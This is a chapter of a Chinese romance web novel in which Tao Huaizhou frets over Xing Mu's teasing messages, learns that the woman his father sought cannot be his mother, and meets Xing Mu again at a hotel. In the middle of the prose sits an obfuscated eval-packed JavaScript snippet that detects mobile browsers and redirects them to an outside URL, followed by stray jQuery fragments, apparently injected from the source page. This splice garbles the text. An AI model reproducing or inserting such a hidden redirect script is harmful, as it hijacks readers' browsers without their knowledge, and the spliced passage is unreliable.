27. 27

作品:《车下不熟

    什么软软?


    还……特软软?


    陶怀州对网络词汇一窍不通,并且整个人的精神状态从敏锐到敏感,从敏感到神经质,觉得“软”这个词放在男人身上怎么都不可能是好词,和“快”的侮辱性不相上下。


    “雨过天晴,”刑沐再不走就要迟到了,“你也别不开心了……”


    陶怀州打断刑沐:“再睡一次。”


    刑沐不知道陶怀州的潜台词是“上次不算数”,只觉得男人不愧是男人,光天化日之下,她跟他摸摸小手、哈特软软,他满脑子十八禁。


    看刑沐不置可否,陶怀州补充:“你再睡我一次。”


    主语和谓语不能乱。


    “你要跟我交往,是因为你还想跟我睡?”刑沐理性,“你觉得不交往,就不能再睡了?”


    陶怀州感性:“你还想跟我睡吗?”


    刑沐不认为陶怀州做床搭子能比做地铁搭子更十全十美,但睡两次和睡一次没什么差别。她松口:“回头约。”


    又赶上一名保安从门内刷卡出来。


    刑沐一个箭步冲上去,效仿陶怀州带她出来时道了一声谢谢,定睛一看,对方就是刚刚被她和陶怀州钻了空子的保安。


    对方不会在同一个地方跌倒两次:“这门不让走!”


    刑沐给陶怀州使眼色:我先撤,你掩护。


    陶怀州从凯文的冲锋衣口袋里摸出一包烟。他不会抽烟,也不会跟人套近乎,但知道烟是跟人套近乎的法宝。


    保安对刑沐行了方便。


    在门关闭前,门内的刑沐心花怒放地给了门外的陶怀州一个飞吻,陶怀州便像是被困跳楼机,往下是要死要活,往上也无非是要死要活的前奏。


    陶怀州回到无边文旅时,凯文还在饭局上。


    他给凯文发了一大一小两笔转账。


    凯文以为,大的是因为陶总从饭局上“临阵脱逃”,给他的奖金,小的是陶总请他喝咖啡。


    他回复陶怀州两条微信:「我分内的事。」「谢谢陶总。」


    却不料……


    陶怀州:「买你的冲锋衣。」


    陶怀州:「买你的烟。」


    凯文惊呆了。


    副总说陶总为了防雨,把他的冲锋衣穿走了。穿就穿吧,怎么还买下来了?买就买吧,陶总不会抽烟,怎么把烟也买了?


    他永远也不会知道陶总把他的大半包烟都给了亚信中心的某位保安。


    下午。


    陶怀州在工作之余,有两个收获。


    其一是,苏嘉是O型血。


    他要摆脱陶治和苏嘉,并不意味着连真相都不要。过去半个月,他被陶治留在邻市的快捷酒店,什么都没做。但今天上午,半天,他不难摸摸苏嘉的皮毛。假设……她就是陶治带他找了快三十年的人,那她就是隐姓埋名了。


    如今,她不叫苏嘉,她叫姚念。


    她在医疗系统的记录中清清楚楚地显示是O型血。


    那就不对了……


    陶治是A型血,他是AB型血,他妈不可能是O型血。


    所以,即便她是苏嘉,她也不是他妈,即便苏嘉当时在邻市的宽宏大量和逃之夭夭更像是说谎的人,陶治也只能是另一个说谎的人。


    所以他陶怀州的前半生不仅仅是个牺牲品,他就是个谎言的产物。


    陶怀州的另一个收获是,他翻阅了过去半个月的无边文旅的来访和来电名单。


    来电名单中有一位刑女士,姓刑,名墓。


    来电时间是昨天下午,就在他给刑沐发微信,让刑沐去“营救”他的几分钟后。


    当即,他把接电话的员工找了来,请她复述这位刑女士说的每一句话。员工说这位刑女士一开始直呼他陶怀州,后来才称他陶总,最后自报家门的时候,更别出心裁,说是严刑拷打的刑,坟墓的墓。


    哪有人用这种词自报家门?


    陶怀州只要不在刑沐的面前,脑子就绰绰有余。


    他能还原出来龙去脉:在昨天之前,刑沐不知道他在无边文旅的位置。她见过他的名片,见过“陶怀州”和“无边文旅”七个字印在同一张小卡片上,却不曾搜索他。


    不像他,他多少次搜索过“刑沐”和“悦畅旅游”。


    她对他……不感兴趣。


    昨天,刑沐收到他无异于SOS的微信,并没有关心则乱。她的反诈意识让她致电无边文旅,确认有他这么个人,确认他不在京市。


    至于他是员工,还是老板,对刑沐来说无所谓。她的“严刑拷打”和“坟墓”,只出于意外,类似于:好你个陶怀州,藏得够深的!


    然后,她该怎么对他,就怎么对他。


    该睡就睡。


    该扔就扔。


    没有因为他是老板,就不睡他。


    也没有因为他是老板,就不扔他。


    最后,陶怀州恍然大悟:刑沐向他咨询她和柯轩能不能有进一步的发展,并非试探他,她就是把他当作一个有钱人在咨询。


    雨过天晴?


    在陶怀州的世界里,这场名为失恋的雨却倾盆而下。刑沐对他不感兴趣,刑沐不关心他,刑沐无所谓他有钱没钱——没钱,他能衬托谷益阳,有钱,他能帮她和柯轩出谋划策,怎样都好。


    陶怀州在办公室里踱来踱去,终于是搜索了“男人失恋了怎么走出来”。


    放下过去?转移注意力?向家人和朋友倾诉?


    全是屁话……


    在众多不痛不痒的建议中,有一条脱颖而出:你不好过,也别让她好过!


    陶怀州采纳了这一条。


    他用兴师问罪的力度给刑沐发了微信:「坟墓的墓?」


    力度是指他打字时把指尖都戳白了,但又不是戳在刑沐的身上,刑沐哪体会得到?


    花开富贵:「陶总,下午好!」


    在刑沐看来,只是“陶总”这层窗户纸被捅破了而已。的确,她不在乎陶怀州是牛马,还是老板。他是老板,不就是她看走眼了吗?也没什么大不了。


    陶怀州:「我知道你的名字是如沐春风的沐。」


    花开富贵:「陶总好记性!」


    陶怀州:「你不但记性不好,眼神还不好。」


    花开富贵:「陶总是说我有眼不识泰山?」


    陶怀州:「我的名字天天摆在微信上,陶怀州,州,不是舟,不是船,不是什么小船儿。」


    花开富贵:「震惊.jpg」


    花开富贵:「对不起鸭!」


    刑沐不是强词夺理的人。她搞错了字,陶怀州介意的话,她认错就认错,用一个“鸭”字卖卖萌,他还能得理不饶人?


    但她高估了陶怀州。


    陶怀州不知道“对不齐鸭”的谐音梗,领悟不了“鸭”字的奥妙。在他看来,刑沐这句话少打了一个逗号。补充上就是:对不起,鸭!


    鸭,是她对他的定义……


    不能交往,但能睡,这定义大差不差。


    人与人的区别就是这么大。刑沐明明没有多震惊,但随手就能发一个震惊的表情包,发十个不重样的都不在话下。陶怀州被一个“鸭”字震惊得要命,但什么都做不了。


    半小时过去。


    刑沐没收到陶怀州的回复,再表个态。


    花开富贵:「我保证,下次不叫你小船儿了。」


    陶怀州凉凉了半小时,又冒了热乎气儿。


    下次?


    无论如何,他和刑沐还有下次。而且,她在哄他,不是吗?她把他当人也好,当嘎嘎叫的家禽也罢,她哄他,就代表他在她心中不至于一文不值。


    陶怀州:「你最好说到做到。」


    他自认为放了句狠话,也自认为他的兴师问罪有个差强人意的结局,殊不知刑沐又在翻表情包。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16018167|176063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刑沐记得她有个奶凶的表情包,送给此时此刻的陶怀州再合适不过了……


    没等她翻到,领导找她,她也就作罢了。阴差阳错,她放了陶怀州一马。不然,陶怀州残存的自尊会被奶凶的表情包“挫骨扬灰”。


    当晚,刑沐陪包映容回家,对成昊提出离婚。


    成昊顾不上怀疑刑沐是不是“打小报告”的人,先对包映容忏悔,说白了,就是外面的莺莺燕燕都是浮云,他从没动过离婚的念头。


    他急,包映容比他更急。


    他抱歉,包映容比他更抱歉:“你忘了我吧!忘了我这个朝三暮四的女人吧……”


    刑沐在一旁扶额。


    她妈不用她操心,她就得操心自己了。她如今的住处,是成昊的一处回迁房。她妈要跟成昊撕破脸,成昊先让她无家可归。


    与此同时。


    陶治从邻市回了京市。他拿苏嘉没办法,但操纵了陶怀州快三十年,不可能在一朝一夕就让陶怀州摆脱了他。他当着陶怀州的面,砸了大半个家——不能波及苏嘉的照片。


    陶怀州随便他砸,也随便他恶言恶语。


    “手机。”陶治要陶怀州的手机,“你查她了,对不对?查到什么了?好儿子,我知道你有本事,快,快拿给我看!”


    陶怀州把改了密码的手机递过去。


    陶治打不开,又要砸。


    “我的生日。”陶怀州提示陶治。


    问题是,陶治不记得陶怀州的生日。父子二人相依为命至今,父亲没有给儿子过过生日。陶怀州心平气和:“我的生日,是我妈的受难日。你爱她?你爱她,怎么会不记得她的受难日?”


    陶怀州把真相的碎片打得更碎,再拼拼凑凑——陶治爱苏嘉,陶治带他找的人就是苏嘉,但苏嘉不是他妈。


    夜深人静。


    陶怀州刷到刑沐发的一条求租房的朋友圈,位置、价格,都写得明明白白。他对价格不敏感,但位置……首选四号线沿线。


    沿线,意味着她有可能不再从南端始发站上车,那么他这个地铁搭子也就离自生自灭不远了。


    冷静、冷静……冷静!


    陶怀州默念,并意识到这是他看到的刑沐的唯一一条朋友圈。


    他知道朋友圈能分组以及仅TA可见。比如赵狄有个分组名叫前女友,以及赵狄和某个前女友藕断丝连的时候,会发仅她可见的朋友圈。那有没有可能……他在刑沐的某个分组里,看不到她平时的朋友圈,但她这一条求租房的朋友仅他可见?


    毕竟,她还要和他睡呢!


    所以她会不会是在暗示他合租?


    合租能天天睡呢。


    冷静、冷静……冷静!


    陶怀州自投罗网地在评论框中输入:考虑合租吗?


    他的手指在发送键上悬了又悬,要三思而后行,退出,打开,再退出,再打开,终于,准备发送……视线中多了一条刑沐自己的评论:找到了!谢谢万能的朋友圈。


    陶怀州手一抖,发送:考虑合租吗?


    转眼,刑沐回复:不考虑。


    陶怀州对刑沐这一条朋友圈的两个猜测,一对一错。刑沐给他分了组,这是对的,他看不到她平时的朋友圈。但今天这一条,刑沐是对所有人可见。


    不等陶怀州从刑沐的“不考虑”中缓过劲儿来,刑沐给他发来微信:「我这周住我妈家,早上你别等我。」


    又不等陶怀州发表意见,刑沐送给他一个“好乖鸭”的表情包。


    好乖鸭!


    在陶怀州看来就是:好乖,鸭!


    这还让他怎么发表意见?他的嘴、他的手、他的路,一律被刑沐堵死了。


    此后,刑沐说到做到,从周二到周五的早上都没有在地铁站露面。陶怀州和刑沐再见面,是在周五的傍晚。再见面的地方,二人都不是第一次去。


    是品岸酒店的豪华大床房。